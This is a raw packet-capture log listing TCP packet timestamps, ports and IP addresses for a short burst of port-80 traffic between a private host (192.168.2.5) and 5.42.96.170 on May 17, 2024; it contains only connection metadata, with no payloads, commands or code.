May 17, 2024 23:45:15.708369017 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.708411932 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.708411932 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.708411932 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.708411932 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.709126949 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.709137917 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.709146023 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.709155083 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.709165096 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.709175110 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.709184885 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.709193945 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.709203005 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.709213972 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.709223032 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.709223032 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.709223032 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.709223032 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.709264040 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.709264040 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.710094929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.710104942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.710114002 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.710123062 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.710131884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.710141897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.710151911 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.710161924 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.710171938 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.710181952 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.710196972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.710196972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.710196972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.710196972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.710222960 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.711250067 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.711260080 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.711268902 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.711277962 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.711298943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.711304903 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.711313009 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.711321115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.711330891 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.711342096 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.711342096 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.711350918 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.711360931 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.711384058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.711384058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.711397886 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.712376118 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.712385893 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.712393999 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.712403059 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.712413073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.712423086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.712431908 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.712443113 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.712451935 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.712461948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.712471962 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.712493896 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.712493896 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.712493896 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.712493896 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.712511063 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.717307091 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717318058 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717327118 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717334986 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717344999 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717354059 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717364073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717374086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717384100 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717394114 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717405081 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717427969 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.717427969 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.717427969 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.717427969 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.717451096 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.717776060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717787027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717796087 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717801094 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717809916 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717819929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717829943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717839003 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717849970 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717859983 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717869997 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717880964 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.717880964 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.717880964 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.717880964 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.717900991 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717911959 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717921019 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717930079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.717969894 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.717969894 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.717969894 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.717969894 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.718012094 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.718022108 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.718030930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.718039989 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.718050003 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.718060017 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.718070030 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.718112946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.718112946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.718112946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.718112946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.718354940 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.718365908 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.718373060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.718381882 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.718390942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.718401909 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.718411922 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.719316959 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.719326973 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.719335079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.719342947 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.719353914 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.719363928 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.719372988 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.719372988 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.719372988 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.719372988 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.719623089 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.719633102 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.719640970 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.719650030 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.719660044 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.719670057 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.719680071 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.719692945 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.719692945 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.719692945 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.719692945 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.719700098 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.719711065 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.719721079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.719729900 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.719765902 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.719765902 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.719765902 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.719765902 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.720583916 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.720593929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.720602036 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.720690012 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.720690012 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.720735073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.720746040 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.720755100 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.720763922 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.720774889 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.720783949 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.720794916 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.720804930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.720814943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.720825911 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.720825911 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.720825911 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.720825911 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.720835924 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.720846891 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.720892906 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.720892906 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.720892906 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.721579075 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.721589088 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.721601963 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.721611023 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.721620083 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.721628904 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.721640110 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.721649885 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.721659899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.721669912 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.721678972 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.721707106 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.721707106 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.721707106 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.721707106 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.721707106 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.722553968 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.722563982 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.722572088 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.722579956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.722590923 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.722600937 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.722620010 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.722630978 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.722642899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.722654104 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.722675085 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.722675085 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.722675085 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.722675085 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.722707033 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.722707033 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.722713947 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.723232985 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.723472118 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.723480940 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.723490000 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.723498106 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.723507881 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.723517895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.723526955 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.723536968 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.723555088 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.723555088 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.723555088 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.723578930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.723587990 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.723597050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.723620892 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.723620892 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.723632097 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.724333048 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.724343061 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.724351883 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.724361897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.724371910 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.724381924 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.724391937 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.724422932 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.724422932 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.724422932 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.724422932 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.725256920 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.725266933 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.725275993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.725285053 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.725775957 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.725785971 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.725795031 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.725804090 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.725812912 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.725822926 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.725832939 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.725841999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.725841999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.725841999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.725841999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.725853920 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.725864887 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.726249933 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.726249933 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.726249933 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.726752043 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.726763964 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.726773024 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.726783037 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.726792097 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.726802111 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.726819038 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.726830006 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.726839066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.726876974 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.726876974 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.726876974 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.726876974 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.726877928 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.727674007 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.727684975 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.727693081 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.727703094 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.727711916 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.727724075 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.727729082 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.727746010 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.727756023 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.727767944 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.727780104 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.727780104 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.727780104 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.728123903 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.728604078 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.728614092 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.728622913 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.728632927 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.728642941 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.728652954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.728662968 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.728672981 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.728682995 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.728694916 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.728694916 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.728694916 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.728694916 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.729249001 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.729557037 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.729566097 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.729574919 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.729588032 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.729609013 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.729619026 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.729629040 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.729645967 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.729655027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.729665041 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.729682922 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.729682922 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.729698896 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.730448961 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.730458975 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.730467081 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.730472088 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.730480909 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.730490923 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.730504990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.730762005 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.730762959 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.731081009 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.731092930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.731101990 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.731128931 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.731132984 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.731165886 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.731174946 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.731187105 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.731187105 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.731193066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.731203079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.731211901 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.731395006 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.731395006 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.732022047 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.732032061 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.732040882 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.732049942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.732059002 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.732069969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.732079983 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.732091904 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.732111931 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.732124090 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.732124090 CEST	49707	80	192.168.2.5	5.42.96.170
